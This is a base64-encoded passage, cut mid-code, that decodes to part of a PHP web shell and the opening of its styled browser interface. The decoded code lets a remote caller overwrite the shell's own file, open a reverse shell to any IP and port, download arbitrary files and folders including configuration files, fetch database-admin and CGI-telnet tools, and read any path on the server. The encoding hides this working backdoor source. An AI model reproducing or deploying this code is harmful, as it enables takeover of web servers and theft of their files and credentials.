AgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAkb3V0cHV0Wyd1cmwnXSA9ICR6aXBBbGw7DQogICAgICAgIH0NCiAgICAgICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQogICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ3VwZGF0ZV9jb250ZW50J10pKXsNCg0KICAgICAgICBpZihAZmlsZV9wdXRfY29udGVudHMoYmFzZW5hbWUoJF9TRVJWRVJbJ1BIUF9TRUxGJ10pLGJhc2U2NF9kZWNvZGUoJF9QT1NUWyd1cGRhdGVfY29udGVudCddKSkpew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnb2snOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7DQogICAgICAgIH0NCiAgICAgICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQogICAgfWVsc2VpZihpc3NldCgkX1BPU1RbJ2dldGlwJ10pKXsNCg0KICAgICAgICAkY2xpZW50X2lwID0gJGhlbHBlcnMtPmdldENsaWVudElQKCk7DQoNCiAgICAgICAgaWYoJGNsaWVudF9pcCl7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICRjbGllbnRfaXA7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCg0KICAgICAgICB9DQogICAgICAgIGV4aXQoanNvbl9lbmNvZGUoJG91dHB1dCkpOw0KICAgIH1lbHNlaWYoaXNzZXQoJF9QT1NUWydyZXZfaXAnXSkgJiYgaXNzZXQoJF9QT1NUWydyZXZfcG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ21ldGhvZCddKSl7DQogICAgICAgIA0KICAgICAgICAkY3JlYXRlX3NoZWxsID0gJGhlbHBlcnMtPnJldmVyc2Vfc2hlbGwoJF9QT1NUWydyZXZfaXAnXSwkX1BPU1RbJ3Jldl9wb3J0J10sJF9QT1NUWydtZXRob2QnXSk7DQoNCiAgICAgICAgaWYoJGNyZWF0ZV9zaGVsbCl7DQogICAgICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICAgICAgfQ0KICAgICAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCiAgICB9DQoNCiAgZXhpdDsNCn0NCmlmKGlzc2V0KCRfR0VUWydkb3dubG9hZF9maWxlJ10pKXsNCg0KICAgICRmaWxlICAgICA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2Rvd25sb2FkX2ZpbGUnXSk7DQogICAgDQogICAgJGRvd25sb2FkID0gJGhlbHBlcnMtPmRvd25sb2FkX2ZpbGUoJGZpbGUpOw0KDQogICAgaWYoJGRvd25sb2FkID09PSBmYWxzZSl7DQogICAgICAgIHByaW50ICc8c2NyaXB0PndpbmRvdy5oaXN0b3J5LmJhY2soKTs8L3NjcmlwdD47JzsNCiAgICB9DQogICAgZXhpdDsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ2FkbWluZXInXSkpew0KICAgIA0KICAgICRhZG1pbmVyID0gJGhlbHBlcnMtPmdldF9hZG1pbmVyKCk7DQogICAgaWYoJGFkbWluZXIpew0KICAgICAgICAkb3V0cHV0WydzdGF0dXMnXSA9ICdvayc7DQogICAgfWVsc2V7DQogICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7DQogICAgfQ0KDQogICAgZXhpdChqc29uX2VuY29kZSgkb3V0cHV0KSk7DQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydjZ2l0ZWxuZXQnXSkpew0KICAgICRjZ2l0ZWxuZXQgPSAkaGVscGVycy0+Z2V0X2NnaXRlbG5ldCgpOw0KDQogICAgaWYoJGNnaXRlbG5ldCl7DQogICAgICAgICRvdXRwdXRbJ3N0YXR1cyddID0gJ29rJzsNCiAgICB9ZWxzZXsNCiAgICAgICAgJG91dHB1dFsnc3RhdHVzJ10gPSAnZmFpbGVkJzsNCiAgICB9DQoNCiAgICBleGl0KGpzb25fZW5jb2RlKCRvdXRwdXQpKTsNCn1lbHNlaWYoaXNzZXQoJF9HRVRbJ3BsYXlfYXVkaW8nXSkpew0KICAgICRhdWRpb1BhdGggPSAkX0dFVFsncGxheV9hdWRpbyddOw0KICAgIGhlYWRlcignQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUnKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOw0KICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhdWRpby9tcDMnKTsgDQogICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRhdWRpb1BhdGgpKTsNCiAgICBoZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7DQoNCiAgICByZWFkZmlsZSgkYXVkaW9QYXRoKTsgDQoNCiAgICBleGl0Ow0KfWVsc2VpZihpc3NldCgkX0dFVFsncGxheV92aWRlbyddKSl7DQogICAgJHZpZGVvUGF0aCA9ICRfR0VUWydwbGF5X3ZpZGVvJ107DQogICAgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1jYWNoZScpOw0KICAgIGhlYWRlcignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmluYXJ5Jyk7DQogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IHZpZGVvL21wNCcpOyANCiAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJHZpZGVvUGF0aCkpOw0KICAgIGhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsNCg0KICAgIHJlYWRmaWxlKCR2aWRlb1BhdGgpOyANCiAgICBleGl0Ow0KfWVsc2VpZihpc3NldCgkX0dFVFsnZG93bmxvYWRfZm9sZGVyJ10pKXsNCiAgICBpZihpc19kaXIoYmFzZTY0X2RlY29kZSgkX0dFVFsnZG93bmxvYWRfZm9sZGVyJ10pKSl7DQogICAgICAgICR6aXBfZm9sZGVyID0gJGhlbHBlcnMtPmRvd25sb2FkX2FzX3ppcChiYXNlNjRfZGVjb2RlKCRfR0VUWydkb3dubG9hZF9mb2xkZXInXSkpOw0KDQogICAgICAgIGlmKCR6aXBfZm9sZGVyID09IGZhbHNlKXsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH1lbHNlew0KICAgICAgICAgICAgJGRvd25sb2FkX2ZvbGRlciA9ICRoZWxwZXJzLT5kb3dubG9hZF9maWxlKCR6aXBfZm9sZGVyLHRydWUpOw0KICAgIA0KICAgICAgICAgICAgaWYoJGRvd25sb2FkX2ZvbGRlciA9PSBmYWxzZSl7DQogICAgICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9ZWxzZXsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICANCiAgICBleGl0Ow0KDQp9ZWxzZWlmKGlzc2V0KCRfR0VUWydkb3dubG9hZF9jZmdfZmlsZSddKSl7DQoNCiAgICAkZG93bmxvYWRfY2ZnID0gJGhlbHBlcnMtPmRvd25sb2FkX2ZpbGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnZG93bmxvYWRfY2ZnX2ZpbGUnXSksdHJ1ZSk7DQoNCiAgICBpZigkZG93bmxvYWRfY2ZnID09IGZhbHNlKXsNCiAgICAgICAgZXhpdDsNCiAgICB9DQogICAgZXhpdDsNCiAgICANCn0NCmlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpew0KICAgIA0KICAgIGZ1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpDQogICAgew0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KfSANCj8+DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sIGxhbmc9ImVuIj4NCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KCQlAaW1wb3J0IHVybChodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi4wLjAtYmV0YTIvY3NzL2FsbC5taW4uY3NzKTsqe21hcmdpbjowO3BhZGRpbmc6MDtib3gtc2l6aW5nOmJvcmRlci1ib3g7Zm9udC1mYW1pbHk6IlNhZ29lIFVJIixzYW5zLXNlcmlmO291dGxpbmU6MDtsaXN0LXN0eWxlOm5vbmU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Y29sb3I6I2ZmMDAwMDstd2Via2l0LWZvbnQtc21vb3RoaW5nOmFudGlhbGlhc2VkfWJvZHksaHRtbHtoZWlnaHQ6MTAwJX1ib2R5e2JhY2tncm91bmQ6IzIyMjgzMTtkaXNwbGF5OmZsZXg7anVzdGlmeS1jb250ZW50OmNlbnRlcn0uaG9sZGVye21hcmdpbi10b3A6MTVweDt3aWR0aDo4NSU7bWluLXdpZHRoOjQ1MHB4O292ZXJmbG93LXg6aGlkZGVufS5ob2xkZXI6Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjdweH0uaG9sZGVyOjotd2Via2l0LXNjcm9sbGJhci10cmFja3tiYWNrZ3JvdW5kLWNvbG9yOiNlNGU0ZTQ7Ym9yZGVyLXJhZGl1czo1MHB4fS5ob2xkZXI6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JhY2tncm91bmQtY29sb3I6IzIyMjgzMTtib3JkZXItcmFkaXVzOjUwcHh9Lm13c2JveHtvdmVyZmxvdy14OmhpZGRlbjtiYWNrZ3JvdW5kOiMxZTFmMjE7cGFkZGluZzoxMHB4IDE1cHg7Ym9yZGVyLXJhZGl1czoxMHB4O2JveC1zaGFkb3c6LTIwcHggMzBweCAzMHB4IC0yMHB4IHJnYmEoMCwwLDAsLjgpO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEwMCV9Lm13c2JveCAuYm90dG9tLW1lbnV7cG9zaXRpb246YWJzb2x1dGU7Ym90dG9tOjA7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoLTUwJSk7YmFja2dyb3VuZDpyZ2JhKDAsMCwwLC43NSk7ei1pbmRleDo5OTk7Ym9yZGVyLXJhZGl1czoxMHB4IDEwcHggMCAwfS5td3Nib3ggLmJvdHRvbS1tZW51IHVse2Rpc3BsYXk6ZmxleH0ubXdzYm94IC5ib3R0b20tbWVudSB1bCBsaXtwYWRkaW5nOjEwcHggMjBweDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2p1c3RpZnktY29udGVudDpjZW50ZXI7Ym9yZGVyLXJhZGl1czo1cHg7dHJhbnNpdGlvbjozNTBtcyBhbGx9Lm13c2JveCAuYm90dG9tLW1lbnUgdWwgbGkgc3BhbntkaXNwbGF5Om5vbmU7Zm9udC13ZWlnaHQ6NzAwfS5td3Nib3ggLmJvdHRvbS1tZW51IHVsIGxpOmhvdmVye2JhY2tncm91bmQ6cmdiYSgyNTUsMjU1LDI1NSwuNSl9Lm13c2JveCAuYm90dG9tLW1lbnUgdWwgbGk6aG92ZXI+c3BhbntkaXNwbGF5OmJsb2NrO21hcmdpbi1sZWZ0OjVweH0ubXdzYm94IC50aXRsZXt3aWR0aDoxMDAlO3BhZGRpbmctYm90dG9tOjdweDtib3JkZXItYm90dG9tOjJweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4xNSk7bWFyZ2luLWJvdHRvbTo3cHg7ZmxleC13cmFwOndyYXB9Lm13c2JveCAudGl0bGUgdWx7ZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbn0ubXdzYm94IC50aXRsZSB1bCBsaSBzcGFue2ZvbnQtd2VpZ2h0OjcwMDtjb2xvcjojMDBmZjAwO2ZvbnQtc2l6ZToxNnB4O3doaXRlLXNwYWNlOm5vd3JhcDttYXJnaW4tcmlnaHQ6NXB4fS5td3Nib3ggLnRpdGxlIHVsIGxpe2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Zm9udC1zaXplOjE1cHg7Y29sb3I6cmdiYSgyNTUsMjU1LDI1NSwuOTUpfS5td3Nib3ggLnRpdGxlIHVsIGxpIHB7d29yZC1icmVhazpicmVhay1hbGx9Lm13c2JveCAudGl0bGUgaDN7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnJnYmEoMzQsNDAsNDksLjIpO3RleHQtYWxpZ246bGVmdDttYXJnaW4tYm90dG9tOjVweDtmb250LXNpemU6MzJweDtsZXR0ZXItc3BhY2luZzozcHg7Zm9udC13ZWlnaHQ6NjAwO2ZvbnQtd2VpZ2h0OjUwMDtjb2xvcjojZmYwMDAwO2JvcmRlci1yYWRpdXM6NXB4O3BhZGRpbmc6NXB4IDA7Zm9udC1mYW1pbHk6InRyZWJ1Y2hldCBtcyI7dGV4dC10cmFuc2Zvcm06dXBwZXJjYXNlfS5td3Nib3ggLmlubmVye3dpZHRoOjEwMCU7cGFkZGluZzowIDEwcHggNXB4IDA7b3ZlcmZsb3c6YXV0bzttYXgtaGVpZ2h0OjQ2MHB4O2hlaWdodDo0NjBweDt9Lm13c2JveCAuaW5uZXI6Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjdweH0ubXdzYm94IC5pbm5lcjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7YmFja2dyb3VuZC1jb2xvcjojZTRlNGU0O2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5pbm5lcjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7YmFja2dyb3VuZC1jb2xvcjojMjIyODMxO2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5pbm5lciB0YWJsZXt3aWR0aDoxMDAlO2Rpc3BsYXk6bm9uZX0ubXdzYm94IC5pbm5lciB0YWJsZSB0aGVhZCB0ciB0aHtib3JkZXItYm90dG9tOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4wOCk7dGV4dC1hbGlnbjpyaWdodDtwYWRkaW5nLWJvdHRvbToxMHB4O2ZvbnQtc2l6ZToxNXB4O2ZvbnQtd2VpZ2h0OjYwMH0ubXdzYm94IC5pbm5lciB0YWJsZSB0Ym9keSB0ciB0ZHtwYWRkaW5nOjhweCAwO2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsLjAyKTtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo2MDA7dGV4dC1hbGlnbjpyaWdodH0ubXdzYm94IC5pbm5lciB0YWJsZSB0Ym9keSB0ciB0ZCBpe2ZvbnQtc2l6ZToxN3B4fS5td3Nib3ggLmlubmVyIHRhYmxlIHRib2R5IHRyIHRkOmhvdmVyIHNwYW57dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0ubXdzYm94IC5pbm5lciB0YWJsZSB0Ym9keSB0ciB0ZCBzcGFue2N1cnNvcjpwb2ludGVyfS5td3Nib3ggLmlubmVyIHRhYmxlIHRib2R5IHRyOmxhc3QtY2hpbGQgdGR7Ym9yZGVyLWJvdHRvbTpub25lfS5td3Nib3ggLmlubmVyIHRhYmxlIHRib2R5IHRyIHRkIC5pY29uc3tkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO3RleHQtYWxpZ246cmlnaHQ7anVzdGlmeS1jb250ZW50OmZsZXgtZW5kfS5td3Nib3ggLmlubmVyIHRhYmxlIHRib2R5IHRyIHRkIC5pY29ucyBpe3BhZGRpbmc6MCA1cHg7Y3Vyc29yOnBvaW50ZXI7ZGlzcGxheTpibG9ja30ubXdzYm94IC5pbm5lciAubG9hZGVyaG9sZHt3aWR0aDoxMDAlO2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7anVzdGlmeS1jb250ZW50OmNlbnRlcn0ubXdzYm94IC5pbm5lciAubG9hZGVyaG9sZCAubG9hZGVye21hcmdpbi10b3A6MjBweDtkaXNwbGF5Om5vbmU7Ym9yZGVyOjVweCBzb2xpZCAjZjNmM2YzO2JvcmRlci10b3A6NXB4IHNvbGlkICM1NTU7Ym9yZGVyLXJhZGl1czo1MCU7d2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O2FuaW1hdGlvbjpzcGluIDEuNXMgbGluZWFyIGluZmluaXRlfS5td3Nib3ggLnByb2Nlc3Mtc2NyZWVue3dpZHRoOmNhbGMoNzUlIC0gMjAwcHgpO3Bvc2l0aW9uOmFic29sdXRlO21pbi13aWR0aDozNTBweDtiYWNrZ3JvdW5kOiMxYTFhMWE7Ym9yZGVyLXJhZGl1czoxMHB4O2JveC1zaGFkb3c6MTBweCAzNXB4IDM1cHggLTMwcHggcmdiYSgwLDAsMCwuOCk7cGFkZGluZzoyNXB4O3otaW5kZXg6OTk5OTt0b3A6LTUwJTtsZWZ0OjUwJTt0cmFuc2Zvcm06dHJhbnNsYXRlKC01MCUsLTUwJSk7dmlzaWJpbGl0eTpoaWRkZW47bWF4LWhlaWdodDo3MDBweDtvdmVyZmxvdzphdXRvO3RyYW5zaXRpb246LjJzIGFsbDtvcGFjaXR5OjB9Lm13c2JveCAucHJvY2Vzcy1zY3JlZW46Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjhweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7YmFja2dyb3VuZC1jb2xvcjojZTRlNGU0O2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7YmFja2dyb3VuZC1jb2xvcjpncmF5O2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBoM3tjb2xvcjojZmYwMDAwO2ZvbnQtc2l6ZToxNnB4O3BhZGRpbmctYm90dG9tOjVweDtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjY2NjO21hcmdpbi1ib3R0b206MTBweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBmb3Jte2Rpc3BsYXk6ZmxleDtmbGV4LWRpcmVjdGlvbjpjb2x1bW59Lm13c2JveCAucHJvY2Vzcy1zY3JlZW4gaW5wdXRbdHlwZT10ZXh0XXt3aWR0aDoxMDAlO2hlaWdodDo0NXB4O3BhZGRpbmctbGVmdDoxMHB4O2JvcmRlcjoxcHggc29saWQgI2FhYTtjb2xvcjojMzMzO2JhY2tncm91bmQ6I2NjY30ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBpbnB1dFt0eXBlPXRleHRdOmhvdmVye2JvcmRlcjoxcHggc29saWQgIzAwMH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBpbnB1dDo6cGxhY2Vob2xkZXJ7Y29sb3I6Z3JheX0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiB0ZXh0YXJlYXt3aWR0aDoxMDAlO2hlaWdodDoyNTBweDtyZXNpemU6bm9uZTtwYWRkaW5nOjVweDtib3JkZXI6MXB4IHNvbGlkICNhYWE7Y29sb3I6IzMzMztiYWNrZ3JvdW5kOiNjY2N9Lm13c2JveCAucHJvY2Vzcy1zY3JlZW4gdGV4dGFyZWE6aG92ZXJ7Ym9yZGVyOjFweCBzb2xpZCAjMDAwfS5td3Nib3ggLnByb2Nlc3Mtc2NyZWVuIGJ1dHRvbnt3aWR0aDoyMDBweDtoZWlnaHQ6NDVweDtwYWRkaW5nOjEwcHg7YmFja2dyb3VuZDojZmYwMDAwO2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7Zm9udC13ZWlnaHQ6NzAwO3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtmb250LXNpemU6MTZweDttYXJnaW4tdG9wOjEwcHg7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjoyNTBtcyBhbGx9Lm13c2JveCAucHJvY2Vzcy1zY3JlZW4gYnV0dG9uOmhvdmVye2JhY2tncm91bmQ6IzAwNzhjMn0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBsYWJlbHtjb2xvcjojMjIyO2ZvbnQtd2VpZ2h0OjYwMDttYXJnaW4tYm90dG9tOjVweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiBzZWxlY3R7d2lkdGg6MTAwJTtoZWlnaHQ6NDVweDtib3JkZXI6MXB4IHNvbGlkICNhYWE7cGFkZGluZy1sZWZ0OjEwcHg7Y29sb3I6cmdiYSgwLDAsMCwuNSk7YmFja2dyb3VuZDojY2NjfS5td3Nib3ggLnByb2Nlc3Mtc2NyZWVuIHNlbGVjdCBvcHRpb257Y29sb3I6cmdiYSgwLDAsMCwuNSl9Lm13c2JveCAucHJvY2Vzcy1zY3JlZW4gLmNtZF9yZXN1bHR7d29yZC1icmVhazpicmVhay1hbGw7d2lkdGg6MTAwJTtwYWRkaW5nOjEwcHg7bWFyZ2luLXRvcDoxMHB4O2JhY2tncm91bmQ6IzIyMjtib3JkZXI6MXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsLjgpO21hcmdpbi1ib3R0b206MTBweDtjb2xvcjojZmYwMDAwO2ZvbnQtd2VpZ2h0OjcwMDtmb250LXNpemU6MTRweDttYXgtaGVpZ2h0OjI1MHB4O292ZXJmbG93OmF1dG99Lm13c2JveCAucHJvY2Vzcy1zY3JlZW4gLmNtZF9yZXN1bHQ6Oi13ZWJraXQtc2Nyb2xsYmFye3dpZHRoOjhweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiAuY21kX3Jlc3VsdDo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2t7YmFja2dyb3VuZC1jb2xvcjojZmYwMDAwO2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5wcm9jZXNzLXNjcmVlbiAuY21kX3Jlc3VsdDo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWJ7YmFja2dyb3VuZC1jb2xvcjpncmF5O2JvcmRlci1yYWRpdXM6NTBweH0ubXdzYm94IC5wb3B1cC1ib3h7cG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MzAwcHg7bWluLXdpZHRoOjI1MHB4O2JvcmRlci1yYWRpdXM6NXB4O3BhZGRpbmc6MTBweDtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo3MDA7Ym94LXNoYWRvdzoxNXB4IDEycHggMjBweCAtMTVweCByZ2JhKDAsMCwwLC45KTtjb2xvcjojZmYwMDAwO3RyYW5zaXRpb246MjUwbXMgYWxsO3JpZ2h0Oi05OTk5cHg7dG9wOjEwJTtvcGFjaXR5OjA7dmlzaWJpbGl0eTpoaWRkZW47ei1pbmRleDo1MH0jcGF0aCBzdHJvbmd7cGFkZGluZy1sZWZ0OjJweH0jcGF0aCBzdHJvbmc6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0ucG9wdXAtYm94LmFsZXJ0e2JhY2tncm91bmQ6I2JkMDQwNH0ucG9wdXAtYm94LnN1Y2Nlc3N7YmFja2dyb3VuZDojMDI5YzExfUBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC1oZWlnaHQ6OTAwcHgpey5td3Nib3h7aGVpZ2h0OjgwMHB4O3dpZHRoOjEwMCU7b3ZlcmZsb3cteDpoaWRkZW47fS5ib3R0b20tbWVudXt0b3A6MDttYXgtaGVpZ2h0OjUwcHg7dHJhbnNmb3JtOm5vbmV9LmhvbGRlcnt3aWR0aDoxMDAlfX1AbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NDUwcHgpey5ob2xkZXJ7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTtvdmVyZmxvdy14OmhpZGRlbjt9LmJvdHRvbS1tZW51e3RvcDowO21heC1oZWlnaHQ6NTBweDt0cmFuc2Zvcm06bm9uZX19QGtleWZyYW1lcyBzcGluezAle3RyYW5zZm9ybTpyb3RhdGUoMCl9MTAwJXt0cmFuc2Zvcm06cm90YXRlKDM2MGRlZyl9fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCgkJbGV0IHdvcmtpbmdfZGlyLHJlbGVhc2U9IjEuMCIscGVybF9pY29uPSJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQURBQUFBQXdDQVlBQUFCWEF2bUhBQUFBQVhOU1IwSUFyczRjNlFBQUVnRkpSRUZVYUVPOVdtbVFwV1YxZnQ1djMrN1dmVy8zZEUvUHdzQUlpak95aUNBZ2c2QWdFZ0VaRTFJcGpSWXFpMHVGaWt0RlUwYWpRVW5HVkN4RGNJbXhZa1VjeVNEckRDQ2lFUkNIS0FLRGpPTUF3eXc5dmZmZHYzMTUzOVI1YjQ4L05JNnAreU8zK3RaN3Y3dDgzM3ZPYzU1em5uTytaampPWTkzMVg3MC9VL1NOVmNmVmNxZ3NFWXhWUEVkZENvV1lxRmphekhJL202cnB5cEhGVGpwUk1wUzVUaStyT3hycisxR3VLVndvUWdnLzhJdVNaYkRsYmkrdHU2YXkyTzZsSXlXVHFXN2pvTWpUN1FlL2VkTjl4OXZESC9xTUhlOExZOWQrYlVaenlwT2U2eUJuT2pMb2NCMGJJZGRSY2h6MDR4UVZMVWZMRCtBb09ZSWdoSzBVaUtJUUtuS3dJa2VVaERDWlFCakZNRFdCaUZaRklFb1NOTVpXaTNXYnowOFc5ejd4M096TWdadGFPNyswK3c5dCtMYy9QNjRCSjMvNEc3TXd2SW1SVWdrWlV4RUxEWTJ5aHhtZlkrT3FLdlkzVTV4YTEvSEw2U1pPSE5IeDhud2JFeVVWemE0UGd4VlFSSTV1UDhDSXJXSm11WTN4aW8zcGhTWW1hZzdtbGxxb2wyMTBlZ0VtTnA2RzhaTmZoNlZmN1U2WFh2akZZMHQrNTMzeGovN3Q4UC9GbU9NYU1QVysyNDdDY0ZkWFN4NXlhRWlob2VLNWFNYkF4R2dKYzMyQmRUVWRoNWI2R0hjWTV0czlqRnBBencrZ0l3ZDREajhNVURJWW1oMGZOVnZGY3JlSHFxMmoxZTJqWXV2b0JTSEtPc0NoWWVTVWN6QzI5aFhvdHhZdzk5eWp2ZGJjd2UyKzdYMGNELzV6Ny9jWmMxd0QxbDEzNnpUVDNhbktpZ0daVUZIMlhMUVNZS0xxWVQ0VVdEZmk0RkFyd0xpdFlLSFR3NGpKMEExOEdDaUFJa00vREZFMkZEUTdYVlJ0RFV1ZFBxcXVoblpuWUVDWHdzOVVrWVlSOU1SSFhwM0V5UHBUTVRhNUFaMW5IMEZ6OXFXN3ByLy85YTFER2JEeGhuK1pacm96VlMyNTRFeEhJaFNNbEQzTUJ3WFdOeW80MU1seHlxb3lmcjNnWTBQTndNRmxRa0pCcSsvRFlnVVl6OUR4UTlSc0JYUE5Ec1k4RXpQTExZeVZMY3d2ZDFEM1REUzdmWGlXaGlDS29mRU1acDVpeVE4dzVsaElvd0M1WmQwNXMrdXJmenlVQWVQdjJuYVk2ZTVhejNOa0NPVkNoVWZrelFBeXFwTXdqRmNjTElVRnFoWkR1eCtqYkFqNFVRZ0RIQ2hTK0ZFRVZ4UG85UU40eGlDOEhGMUJQd3pnNmdxQ01JS2xLNGppQkNvNEZPUVFjUXlMQVdHV29kQ04yM3NQZi9XZFF4bXc4Ym92SCthS3NYYTBVa0lHRlFsbkdLdVdjYVNUNE9USlVleGJqSEQ2dWxFOE94UGcxWk1lZnIzUXgvcXFqb1cyRDB2aE1oTTFlejdHUFIwSFo1dFlXN2R4NE9neTF0WmRISnBmd3RTSWg3bWxOcXF1aVg0UWdJRkRaWkN2eTVhQjVhNFAxemEzTDl6M3BUOGJ5b0RhTlRjZlZIUjd2V1BiS0tES3AybFp5SVFHMHpLUkNsV21VejhUTUEwTlNackRWQVdTaE9oT0hFaVJKQWxoaHlTSllUQ09KSTZoS1h6bGZZNHNTMkFvUUp3bVlFS0FpUUpabmtFQmtPYzVGSVhkSGp4ODIzQUluUFRlTHg3aXpGZzNXaTNKOElrNE1FNEl0Qk9jdkhvVWUrY0RuSGxDQTg4ZTdXUFRtdHFBQzZNMjVqc2hISTBRNEZqdTlERlJOdkRTekRMVzF4MjhlSFFKSnpSY0hKZ2RJREd6MU1hb2Ewb3lNOEdocVVDbjU2UHFXVmhzOVZDMnpUdG03L25IUHgwS2djclZuMzVKTmV3VExjc0Nad01FZE1ORXdWWldhSEJzQzFFTzZMcU9uQU9hQW1RNWg4WnlpS0pBbGc0UVNCT0s4VUo2WE9VRjhpd0Z3MkRWRlNFL1p4QVFQRU9SRnpLY2lxSUFZMko3OFAzYmhndWhEZS81d3NHQzZldEh5NFNBZ3BnRFk5VVNwdHN4WHJGNkZQdm1BNXgrd2hqMnpQallORlhEL